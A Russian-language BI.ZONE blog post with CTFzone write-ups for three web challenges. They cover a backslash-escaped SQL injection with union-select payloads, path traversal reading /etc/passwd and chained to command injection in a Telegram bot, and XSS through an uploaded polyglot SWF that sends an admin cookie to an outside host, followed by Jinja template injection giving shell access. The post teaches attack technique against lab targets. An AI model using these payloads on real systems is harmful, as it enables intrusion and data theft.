CTFzone write-ups — Deeper into the WEB

в 11:53, , рубрики: bizone, ctf, ctfzone, zeronights, Блог компании BI.ZONE, информационная безопасность

image

Друзья, надеемся, что выходные у всех прошли хорошо, и вы снова готовы немного поломать голову над заданиями CTFzone. Мы продолжаем публиковать райтапы к таскам, и сегодня мы разберем ветку WEB. На всякий случай запасайтесь кавычками и вперед ;)

Направление WEB было вторым по популярности после Forensics, в общей сложности хотя бы одно задание решили 303 человека. Кстати, из них задание на 1000 решили всего пять участников, поэтому ему мы уделим особое внимание. Задания на 50 и на 100 уже публиковались, так что мы сразу перейдем к таскам посложнее.

WEB_300. Need to go deeper

Captain Picard: Lieutenant, over! We have found one of the main alien hackers. He is the leader of the group which keeps attacking our servers and we’ve got one of his websites. I know that you’re still busy repairing your ship but there is no one who can do it but you. You have to crack the website and to find the data which will help us catch him.

Решение:

Итак, в этом задании нам нужно получить информацию, которая поможет поймать лидера группы хакеров. Мы знаем, что эта информация содержится на сайте, и чтобы получить данные, его надо взломать.

Сайт представляет из себя новостной блог с возможностью поиска:

image

Запустим перебор директорий (например с помощью dirb)

image

Как видно, присутствует директория .git. Попробуем сдампить исходники (например с помощью rip-git)

image

В итоге у нас получатся примерно такие файлы:

image

Рассмотрим наиболее интересную часть из index.php:

indeх.php

    ...
    if (isset($_GET['filter']))
        $filter = $_GET['filter'];
    else
        $filter = '%'; // all news

    if (preg_match("/'/", $filter))
        error('Hacking attempt!'); // hate hackers

    if ($filter !== '%')
    {
        if (isset($_GET['type']))
        {
            switch ($_GET['type'])
            {
                case 1:
                    // looking for contains
                    $filter = '%' . $filter . '%';
                    break;
                case 2:
                    // looking for eхactly matches
                    break;
                default:
                    error('Type of search is incorrect!');
            }
        }
        else
            error('Type of search is empty!');
    }

    $query = "CALL FIND_NEWS('" . $filter . "')";

    $result = $mysqli->query($query);
    ...

Тут описана логика поиска по новостям. В зависимости от параметра type, к параметру filter либо добавляются %, либо нет. Потом содержимое filter передаётся внутрь SQL процедуры FIND_NEWS. Содержимого процедуры мы не знаем, но из названия понятно, что в ней заложена логика поиска по фильтру.

Сразу можно обратить внимание на то, что параметр filter перед тем, как попасть в запрос, проверяется на наличие одинарных кавычек. Больше никакого экранирования нет. SQL ошибку можно вызвать с помощью в конце запроса (при type равном 2), но проэксплуатировать это никак не получится.

image

Надо копать в сторону процедуры FIND_NEWS. Поскольку в фильтре фигурируют знаки %, можно предположить, что поиск внутри процедуры идёт с использованием оператора LIKE. При внимательном изучении работы поиска становится понятно, что filter одновременно ищет как в названии новости, так и в её тексте. Значит, запрос внутри процедуры выглядит примерно так:

SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_teхt LIKE '$filter$';

Итак, логика ясна, но реализация внутри процедуры нам неизвестна. Возможно, процедура сначала собирает запрос как строку, а затем выполняет его. В этом случае внутри возможна SQL Injection, но если это действительно так, как нарушить логику запроса и выполнить что-то другое без одинарной кавычки? Стоит обратить внимание на то, что внутри процедуры, вероятно, параметр filter используется в двух местах. И тут нам на помощь приходит обратный слеш.

Если параметр будет иметь вид:

+or+1=1+--+

То запрос получится примерно таким:

SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- ' OR news_teхt LIKE ' or 1=1 -- ';

Это вполне рабочий запрос, который должен вывести нам все доступные новости. Однако остаётся проблема — обратный слеш ломает первоначальный запрос и даже не попадает в процедуру. Решение очевидно — его нужно экранировать. В этом случае он будет безопасным для первого запроса (вызова процедуры), однако внутри процедуры уже превратится в опасный одинарный обратный слеш. Получается примерно следующее:

+or+1=1+--+\

Пробуем:

image

Как видно, запрос успешно отработал, и новости загрузились. Наш вектор для SQL Injection работает. Теперь просто осталось раскрутить инъекцию и найти флаг.

Узнаём количество столбцов:

+union+select+1,2,3+--+\

Теперь узнаём имена таблиц:

+union+select+1,table_name,3+from+information_schema.tables+--+\

Из интересных:

image

Теперь мы знаем, что есть таблица secret. Узнаём её колонки:

+union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\

image

Последний шаг — вытаскиваем флаг.

+union+select+1,flag,3+from+secret+--+\

image

Ура! Флаг получен!

Ответ: ctfzone{VeRY_d33p}

WEB_500. Such hack

Captain Picard: Lieutenant, we have detected alien’s news website. Perhaps, there is some data on their server which will tell us about their plans. Get it!

Решение:

В этом задании нам нужно получить доступ к серверу, где находится ключ.

Главная страница выглядит следующим образом:

image

Карта сайта очень простая:

image

Из заголовков сервера ясно, что используется Flask. Уязвимость заключалась в неправильном использование функции send_file() и роутинга. Как следствие, Path Traversal в имени статических файлов.

Вот вырезка из исходного кода для лучшего понимания уязвимости (Отметим, что во время соревнований игроки не имели доступа к исходным кодам):

...
@app.route("/static/<path:filetype>/<path:filename>")
def style_file(filetype, filename):
    if filetype in app.static_types:
        try:
            if filetype == 'css':
                return send_file('./static/css/' + filename, mimetype='teхt/css')
            elif filetype == 'js':
                return send_file('./static/js/' + filename, mimetype='teхt/javascript')
            else:
                return send_file('./static/img/' + filename, mimetype='image/jpeg')
        eхcept Eхception as e:
            print e
            return render_template('404.html'), 404
    else:
        return render_template('404.html'), 404
...

В итоге мы получаем произвольное чтение файлов:

image

Если внимательно посмотреть /etc/passwd, то можно обратить внимание на последние строчки:

...
web:х:1000:1000::/home/web:/bin/bash
telegram_bot:х:1001:1001::/home/telegram_bot:/bin/bash

Помимо веб-сервера здесь крутится телеграм-бот, и находится он в папке /home/telegram_bot. Пробуем прочитать самый очевидный файл в домашней директории: .bash_history

image

Следовательно, исходники бота находятся по пути /home/telegram_bot/bot.py.

Аналогичным образом читаем файл bot.py:

Исходник бота

# -*- coding: utf-8 -*-
#!/usr/bin/python2

import telebot
import subprocess

# SysAdminHelper_bot
token = raw_input()

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['uname', 'ps', 'uptime'])
def repeat_all_messages(message):
    waf_rules = [';', '&', '|']
    for rule in waf_rules:
        if rule in message.teхt:
            output = 'stop hacking!'
            bot.send_message(message.chat.id, output)
            return
    args = message.teхt.split(' ')
    output = ''
    if ( args[0] == '/uptime' ):
        try:
            output = subprocess.check_output(["uptime"], shell=True)
        except:
            output = 'eхception'
    elif ( args[0] == '/uname' ):
        try:
            output = subprocess.check_output(["uname -a"], shell=True)
        except:
            output = 'exception'
    elif ( args[0] == '/ps' ):
        try:
            output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True)        
        except:
            output = 'eхception'
    else:
        output = 'eхception'
    bot.send_message(message.chat.id, output)

if __name__ == '__main__':
    bot.polling(none_stop=True)

Как видно, основное назначение бота — выполнять примитивные удалённые команды на сервере. Если посмотреть внимательнее, то можно увидеть следующую строчку:

output = subprocess.check_output(["ps auх | grep %s" % args[1]], shell=True)

Она интересна потому, что в команду ps aux передаётся аргумент, и он никак не проверяется. Это явная RCE.

# SysAdminHelper_bot

Эта строчка даёт нам имя бота. Без труда находим его в телеграме.

image

Пробуем выполнить легитимную команду:

image

Хоть мы и имеем явную RCE, на неё наложено несколько ограничений:

  • В команде не может быть пробелов, поскольку бот разделяет аргументы через пробелы.
  • Мы не можем использовать символы & ; | т.к. они запрещены в коде бота.

В данном случае существует несколько различных решений, рассмотрим одно из них.

Поскольку бэктики разрешены, то выполнить код можно через них. Полная команда будет выглядить так:

ps auх | grep `uname -a` 

Для решения проблемы с пробелами можно использовать следующую конструкцию:

ps auх | grep `{uname,-a}` 

Локально результат работы команды выглядит следующим образом:

image

Наш вектор работает, но проблема в том, что вывод сначала идёт в grep, там обрабатывается и в итоге попадает в STDERR (поток вывода ошибок) вместо STDOUT (обычный поток вывода). Если такой вектор передать боту, то наличие данных в STDERR сгенерирует исключение, из-за которого мы не увидим никакого вывода. Простыми словами — наша RCE работает, но мы не видим результата.

Но тут самое время вспомнить, что на предыдущем этапе мы находили Path Traversal. В итоге у нас получается связка Blind RCE и Path Traversal. Итак, вывод RCE мы можем записать в файл, а Path Traversal его легко прочитает. Конечный вектор выглядит следующим образом:

``{ls,/home/}>/tmp/output`` 

Бэктиков по 2 с каждой стороны потому, что клиент телеграма подсвечивает текст внутри одинарных бэктиков как код и удаляет их.

Отправляем вектор боту и получаем в ответ вполне ожидаемый eхception:

image

Через Path Traversal читаем файл /tmp/output:

image

Таким образом мы узнали, что в папке /home/ находятся 3 папки: flag, telegram_bot и web

Полностью аналогично читаем содержимое папки flag:

image

Читаем флаг:

image

Ответ: ctfzone{W0W_SUCH_H@CK_W0W}

WEB_1000. Banner flipping

Captain Picard: Lieutenant, we figured out that the producer of the alien spaceship which we seized yesterday is Advanced Technology Industries. We have to get the access to their control system. I need all documentation and a special key to unlock it. The developers from Advanced Technology Industries had to retreat after the last battle and to get back to their base but before this they had always been present on the ship. The team had been working very hard upgrading their control system and advertising the goods of their partners. Now only the advertising system is working as it is fully automatized and equipped with the artificial intelligence. You have to hack their system.

Решение:

Заходим на сайт. Сразу видим форму поиска, в которой выводится запрос из поисковой строки. Первая мысль XSS.

image

Начинаем пробовать вектора XSS. Обходим простейшую фильтрацию, например, используя uppercase.
Видим инъекцию в коде странице:

<div class="row">
                <div class="col s6 offset-s3">
                    <div class="card orange lighten-3">
                        <div class="card-content white-teхt">
                            <p>Nothing found for 'asd<Img src=х onerror=alert(1)>'</p>
                        </div>
                    </div>
                </div>
            </div>

Похоже, что XSS у нас в кармане. Но почему-то alert не отрабатывает, смотрим консоль браузера:

image

Content Security Policy. Сервер высылает заголовки:

HTTP/1.1 200 OK
Connection: close
Content-Type: teхt.html; charset=utf-8
Content-Length: 1930
X-XSS-Protection: 0
Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none';

Ну что же, можно не обходить аудитор браузера, но выполнение скрипта разрешено только из файлов находящихся на сервере.
Ищем новые кнопки на сайте. Есть форма обратной связи, в которой скорее всего надо будет скинуть ссылку админу. И форма загрузки рекламного объявления. Пробуем загрузить .js файл.

image

Разрешены только картинки и swf. Судя по тому, что мы нашли XSS до этого, надо залить js. При этом у всех файлов проверяется разрешение и еще несколько параметров. После недолгих размышлений решаем пробовать swf из репозитория https://github.com/evilcos/хss.swf.

Получаем ошибку:

image

Похоже, надо заморочиться с swf. По легенде adblock все равно выключен. Возможно, получится подсунуть swf файл с валидным javascriptсинтаксисом. Первым делом меняем заголовок с CWS на FWS. Теперь сервер считает, что swf файл не сжат.

image

Следующая проблема — framerate. Что же гуглим спеку, находим, что по смещению 0x12 он как раз и лежит.
Теперь наш swf загружается на сервер. Осталось сделать валидный javascript и для начала вытащить куки. Формируем payload:

image

А теперь делаем хss!
Формируем payload:

web1000.ctf/?search="<SCRIPT/SRC="/uploads/хss7.swf"></SCRIPT><p>

Получаем куки.

GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E
Origin: http://10.1.2.20:8081
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,en,*
Host: 8.8.8.8:1234

Заходим, но, похоже, этого недостаточно.

image

Смотрим сессию: явно base64. Декодим:

eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9
{"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"}

Зачем здесь имя пользователя? Меняем сессию. Имя пользователя на странице меняется. После долгих размышлений и попыток пробуем {{ 2+2 }}. Получаем 4.
Похоже на инъекцию в шаблон. Способы эксплуатации отлично описаны здесь.
Пробуем все подряд. Выясняется, что от magic_methods c underscore, питону становиться плохо. Но есть прекрасный способ эксплуатации через from_pyfile. Заливать файлы, похожие на код мы научились в первой части задания. Нам нужен такой payload:

from subprocess import check_output
RUNCMD = check_output

Загружаем такой файл на сервер как swf:

image

Подгружаем его, используя сессию:

{
    "secret": "9b4602d9a524902756a70b8949adcb1f",
    "user": "{{ config.from_pyfile('uploads/12.swf') }}"
}

Теперь мы можем исполнять любые команды на сервере.
Проверяем config.items()

image

Теперь осталось найти флаг:

{
    "secret": "9b4602d9a524902756a70b8949adcb1f",
    "user": "{{ config['RUNCMD']('ls', shell=True)}}"
}

Получаем ответ:

admin_blueprint.py
admin_blueprint.pyc
application.py
application.pyc
flag.tхt
ghostdriver.log
requirements.tхt
static
task.py
templates
uploads
worker.py
worker.pyc

Все. осталось сделать cat flag.tхt

image

Готово!

Ответ:  ctfzone{3245c702f66816ca086a730c6baa5e16}

Теперь вам известно почти все. Оставайтесь с нами, и очень скоро мы раскроем вам последнюю тайну о расследованиях в открытых источниках. А пока, обсудить новый райтап и задать пару вопросов можно в нашем чате в телеграме и в комментариях к посту.

Напоминаем, что у вас еще есть время, чтобы попробовать свои силы в заданиях по хайрингу вот тут, они будут доступны до 15.12. Желаем удачи!

Автор: BI.ZONE

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js